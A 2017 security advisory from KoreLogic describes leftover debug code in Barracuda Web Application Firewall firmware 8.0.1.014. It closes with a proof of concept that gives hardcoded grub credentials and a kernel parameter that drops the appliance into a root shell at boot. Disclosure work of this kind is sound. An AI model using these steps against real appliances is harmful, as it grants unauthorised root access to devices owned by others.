Firmware reversing of the Barracuda Web Application Firewall uncovered debug features that should have been removed on the production images. Appending a debugging statement onto a grub configuration line leads to an early boot root shell. Firmware version 8.0.1.014 is affected.
f6f41f262997fb113e39f15d6d42c39cKL-001-2017-010 : Barracuda WAF Early Boot Root Shell
Title: Barracuda WAF Early Boot Root Shell
Advisory ID: KL-001-2017-010
Publication Date: 2017.07.06
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-010.txt
1. Vulnerability Details
Affected Vendor: Barracuda
Affected Product: Web Application Firewall V360
Affected Version: Firmware v8.0.1.014
Platform: Embedded Linux
CWE Classification: CWE-489: Leftover Debug Code
Impact: Root Access
Attack vector: Grub
2. Vulnerability Description
Firmware reversing of the Barracuda Web Application Firewall
uncovered debug features that should have been removed on the
production images. Appending a debugging statement onto a grub
configuration line leads to an early boot root shell.
3. Technical Description
After the initramfs image has been decrypted (see
https://www.reddit.com/r/netsec/comments/5fonrm/rooting_an_appliance_for_fun/dandnx2/),
some extra kernel command-line options are checked for by init.
# cat init|more
[snip]
Some interesting things you can do at the kernel command line:
* oldscheme - Choose the "old" partitioning scheme.
* decrypt - Specify that the main partitions are encrypted.
* shell - Run /sbin/init when we're done setting things up.
* wyldstallyns - (soon) better debugging
[snip]
Investigating them further, we find a specific comparison looking for
wlydstallyns=69dude.
# grep -ri "wyldstallyns" *
lib/Barracuda/Preboot/Utils.pm: $self->{WYLDSTALLYNS} = 1 if $cmd eq "wyldstallyns=69dude";
This perl module is imported and used during system init.
# grep "Barracuda::Preboot::Utils" init
use Barracuda::Preboot::Utils qw/try catch/;
If the kernel line contains the debugging statement, a DEBUG variable is set to one.
# cat lib/Barracuda/Preboot/Utils.pm
[snip]
$self->{DEBUG} = 1 if $self->{WYLDSTALLYNS};
[snip]
This variables determines whether or not the bash shell is executed during early boot.
# cat init
[snip]
eval {
parse_args($init);
init( $dialog, $init, $iso );
main( $dialog, $init, $iso, $tools );
boot( $dialog, $init, $iso );
} or do {
if ( defined $init->{DEBUG} ) {
print $@;
exec "/bin/bash";
}
else {
$dialog->hang($@);
}
};
[snip]
4. Mitigation and Remediation Recommendation
The vendor has patched this vulnerability in the lastest
virtual appliance release.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc. and Joshua Hardin.
6. Disclosure Timeline
2016.12.20 - KoreLogic sends vulnerability report and PoC to
Barracuda.
2016.12.21 - Barracuda acknowledges receipt of the vulnerability
report.
2017.01.09 - Barracuda informs KoreLogic that they are working
on remediation for this issue.
2017.01.26 - Barracuda notifies KoreLogic that they do not
consider this to be a security vulnerability, but
intend to change the hardcoded credentials.
Barracuda also asks for additional time beyond the
standard 45 business day embargo to address this
and other issues reported by KoreLogic.
2017.02.27 - 45 business days have elapsed since the issue was
reported.
2017.04.10 - 75 business days have elapsed since the issue was
reported.
2017.05.15 - 100 business days have elapsed since the issue was
reported.
2017.05.24 - Barracuda updates KoreLogic on the status of the
remediation efforts.
2017.06.13 - 120 business days have elapsed since the issue was
reported.
2017.06.27 - Barracuda informs KoreLogic that the issue has
been fixed in the latest release of the WAF
virtual appliance.
2017.07.06 - KoreLogic public disclosure.
7. Proof of Concept
Start by rebooting, hit 'e' during the grub boot menu. When
prompted for credentials, provide: root / bimg. Now, on the
linux line append wyldstallyns=69dude
Hit F10 when finished.
During the boot process you will be prompted with: Paused
(continue|exit)
When you type exit, you are dropped into a root shell.
root@(none):~#
The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt